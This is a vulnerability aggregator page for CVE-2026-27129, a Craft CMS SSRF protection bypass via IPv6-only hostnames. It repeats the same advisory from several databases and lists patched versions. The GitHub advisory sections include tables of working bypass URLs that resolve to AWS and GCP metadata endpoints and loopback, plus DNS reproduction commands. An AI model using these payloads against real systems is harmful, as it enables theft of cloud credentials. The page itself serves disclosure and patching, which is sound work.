CVE-2026-27129: Cloud Metadata SSRF Protection Bypass via IPv6… (CVSS 5.7)

CVE List Score used 5.7

Cloud Metadata SSRF Protection Bypass via IPv6 Resolution

Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the <VolumeName> volume and creating assets in the <VolumeName> volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue.

Record: CVE-2026-27129
CVSS 4.0: 5.7 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness: CWE-918
Updated: 2026-11-02

EUVDEUVD-2026-7400 5.7

Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the <VolumeName> volume and creating assets in the <VolumeName> volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue.

Record: EUVD-2026-7400
CVSS 4.0: 5.7 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Updated: 2026-11-02

GitHub AdvisoriesGHSA-v2gc-rm6g-wrw9 5.5

Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.

This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).

Required Permissions

Exploitation requires GraphQL schema permissions for:

Edit assets in the <VolumeName> volume
Create assets in the <VolumeName> volume

These permissions may be granted to:

Authenticated users with appropriate GraphQL schema access
Public Schema (if misconfigured with write permissions)

Technical Details

Root Cause

From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"

When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.

Bypass Mechanism

+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL                                               |
|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io')            |
|         -> No A record exists                                               |
|         -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!)           |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check                                                     |
|         in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...])       |
|         -> FALSE (string != IPv4 addresses)                                 |
|         -> VALIDATION PASSES                                                |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request                                           |
|         -> Resolves DNS (including AAAA records)                            |
|         -> Gets IPv6: fd00:ec2::254                                         |
|         -> Connects to AWS IMDS IPv6 endpoint                               |
|         -> CREDENTIALS STOLEN                                               |
+-----------------------------------------------------------------------------+

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload | |----------------|--------------|-----------------|----------------| | AWS EC2 IMDS | 169.254.169.254 | fd00:ec2::254 | http://fd00-ec2--254.sslip.io/ | | AWS ECS | 169.254.170.2 | fd00:ec2::254 (via IMDS) | http://fd00-ec2--254.sslip.io/ | | Google Cloud GCP | 169.254.169.254 | fd20:ce::254 | http://fd20-ce--254.sslip.io/ | | Azure | 169.254.169.254 | No IPv6 endpoint | N/A | | Alibaba Cloud | 100.100.100.200 | No documented IPv6 | N/A | | Oracle Cloud | 192.0.0.192 | No documented IPv6 | N/A |

Additional IPv6 Internal Service Bypass Payloads

| Target | IPv6 Address | Bypass Payload | |--------|--------------|----------------| | IPv6 Loopback | ::1 | http://0-0-0-0-0-0-0-1.sslip.io/ | | AWS NTP Service | fd00:ec2::123 | http://fd00-ec2--123.sslip.io/ | | AWS DNS Service | fd00:ec2::253 | http://fd00-ec2--253.sslip.io/ | | IPv4-mapped IPv6 | ::ffff:169.254.169.254 | http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/ |

Steps to Reproduce

Step 1: Verify DNS Resolution

# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)

# Verify the hostname has IPv6 record (what…

Record: GHSA-v2gc-rm6g-wrw9
CVSS 4.0: 5.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Weakness: CWE-918
Updated: 2026-11-02

NVD 5.7

Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the <VolumeName> volume and creating assets in the <VolumeName> volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue.

Record: CVE-2026-27129
CVSS 4.0: 5.7 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1: 6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Weakness: CWE-918
Updated: 2026-11-02

OSV 5.7

Cloud Metadata SSRF Protection Bypass via IPv6 Resolution

Craft is a content management system (CMS). In versions 4.5.0-RC1 through 4.16.18 and 5.0.0-RC1 through 5.8.22, the SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437. Exploitation requires GraphQL schema permissions for editing assets in the <VolumeName> volume and creating assets in the <VolumeName> volume. These permissions may be granted to authenticated users with appropriate GraphQL schema access and/or Public Schema (if misconfigured with write permissions). Versions 4.16.19 and 5.8.23 patch the issue.

Record: CVE-2026-27129
CVSS 4.0: 5.7 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weakness: CWE-918
Updated: 2026-11-02

OSVGHSA-v2gc-rm6g-wrw9 5.5

Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses gethostbyname(), which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.

This is a bypass of the security fix for CVE-2025-68437 (GHSA-x27p-wfqw-hfcc).

Required Permissions

Exploitation requires GraphQL schema permissions for:

Edit assets in the <VolumeName> volume
Create assets in the <VolumeName> volume

These permissions may be granted to:

Authenticated users with appropriate GraphQL schema access
Public Schema (if misconfigured with write permissions)

Technical Details

Root Cause

From PHP documentation: "gethostbyname - Get the IPv4 address corresponding to a given Internet host name"

When no IPv4 (A record) exists, gethostbyname() returns the hostname string unchanged.

Bypass Mechanism

+-----------------------------------------------------------------------------+
| Step 1: Attacker provides URL                                               |
|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |
+-----------------------------------------------------------------------------+
| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io')            |
|         -> No A record exists                                               |
|         -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!)           |
+-----------------------------------------------------------------------------+
| Step 3: Blocklist check                                                     |
|         in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...])       |
|         -> FALSE (string != IPv4 addresses)                                 |
|         -> VALIDATION PASSES                                                |
+-----------------------------------------------------------------------------+
| Step 4: Guzzle makes HTTP request                                           |
|         -> Resolves DNS (including AAAA records)                            |
|         -> Gets IPv6: fd00:ec2::254                                         |
|         -> Connects to AWS IMDS IPv6 endpoint                               |
|         -> CREDENTIALS STOLEN                                               |
+-----------------------------------------------------------------------------+

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload | |----------------|--------------|-----------------|----------------| | AWS EC2 IMDS | 169.254.169.254 | fd00:ec2::254 | http://fd00-ec2--254.sslip.io/ | | AWS ECS | 169.254.170.2 | fd00:ec2::254 (via IMDS) | http://fd00-ec2--254.sslip.io/ | | Google Cloud GCP | 169.254.169.254 | fd20:ce::254 | http://fd20-ce--254.sslip.io/ | | Azure | 169.254.169.254 | No IPv6 endpoint | N/A | | Alibaba Cloud | 100.100.100.200 | No documented IPv6 | N/A | | Oracle Cloud | 192.0.0.192 | No documented IPv6 | N/A |

Additional IPv6 Internal Service Bypass Payloads

| Target | IPv6 Address | Bypass Payload | |--------|--------------|----------------| | IPv6 Loopback | ::1 | http://0-0-0-0-0-0-0-1.sslip.io/ | | AWS NTP Service | fd00:ec2::123 | http://fd00-ec2--123.sslip.io/ | | AWS DNS Service | fd00:ec2::253 | http://fd00-ec2--253.sslip.io/ | | IPv4-mapped IPv6 | ::ffff:169.254.169.254 | http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/ |

Steps to Reproduce

Step 1: Verify DNS Resolution

# Verify the hostname has no IPv4 record (what gethostbyname sees)
$ dig fd00-ec2--254.sslip.io A +short
# (empty - no IPv4 record)

# Verify the hostname has IPv6 record (what…

Record: GHSA-v2gc-rm6g-wrw9
CVSS 4.0: 5.5 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Weakness: CWE-918
Updated: 2026-11-02

OSVCLSA-2026-1784682948 No score

TuxCare security update for craftcms/cms (14 CVEs)

TuxCare rebuilt craftcms/cms to address 14 CVEs. Fixed in 3.9.15-p7+tuxcare.

Record: CLSA-2026-1784682948
Updated: 2026-11-02

Package	Affected	Fixed
`craftcms/cms` Packagist	5.0.0-RC1 to 5.8.22	5.8.23
`craftcms/cms` Packagist	3.5.0 to 4.16.18	4.16.19
`craftcms/cms` TuxCare:Packagist From an advisory covering 12 CVEs	3.9.15 up to 3.9.15-p7+tuxcare, plus listed versions 3.9.15-p1+tuxcare3.9.15-p2+tuxcare3.9.15-p3+tuxcare3.9.15-p4+tuxcare3.9.15-p5+tuxcare3.9.15-p6+tuxcare	3.9.15-p7+tuxcare
`craftcms/cms` Packagist	5.0.0-RC1 up to 5.8.23, plus listed versions 5.0.05.0.15.0.25.0.35.0.4 Show 45 moreShow less 5.0.55.0.65.1.05.1.15.1.105.1.25.1.35.1.45.1.55.1.65.1.75.1.85.1.95.2.05.2.0-beta.15.2.0-beta.25.2.0-beta.35.2.0-beta.45.2.0-beta.55.2.0-beta.65.2.15.2.105.2.25.2.35.2.45.2.4.15.2.55.2.65.2.75.2.85.2.95.3.05.3.0-beta.15.3.0-beta.25.3.0.15.3.0.25.3.0.35.3.15.3.25.3.35.3.45.3.55.3.65.4.05.4.0.1	5.8.23
`craftcms/cms` Packagist	3.5.0 up to 4.16.19, plus listed versions 3.5.13.5.103.5.10.13.5.113.5.11.1 Show 45 moreShow less 3.5.123.5.12.13.5.133.5.13.13.5.13.23.5.143.5.153.5.15.13.5.163.5.173.5.17.13.5.183.5.193.5.19.13.5.23.5.33.5.43.5.53.5.63.5.73.5.83.5.93.6.03.6.0-RC13.6.0-RC23.6.0-RC2.13.6.0-RC33.6.0-RC43.6.0-beta.13.6.0-beta.1.13.6.0-beta.23.6.0.13.6.13.6.103.6.113.6.11.13.6.11.23.6.123.6.12.13.6.133.6.143.6.153.6.163.6.173.6.18	4.16.19

Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

CVE-2026-27129

Attack profile

How easy it is to exploit

What an attacker can affect

Exploit likelihood

What each source reports

Required Permissions

Technical Details

Root Cause

Bypass Mechanism

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

Additional IPv6 Internal Service Bypass Payloads

Steps to Reproduce

Step 1: Verify DNS Resolution

Required Permissions

Technical Details

Root Cause

Bypass Mechanism

Bypass Payloads

Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents

Additional IPv6 Internal Service Bypass Payloads

Steps to Reproduce

Step 1: Verify DNS Resolution

Affected products

Affected packages

History

In short

References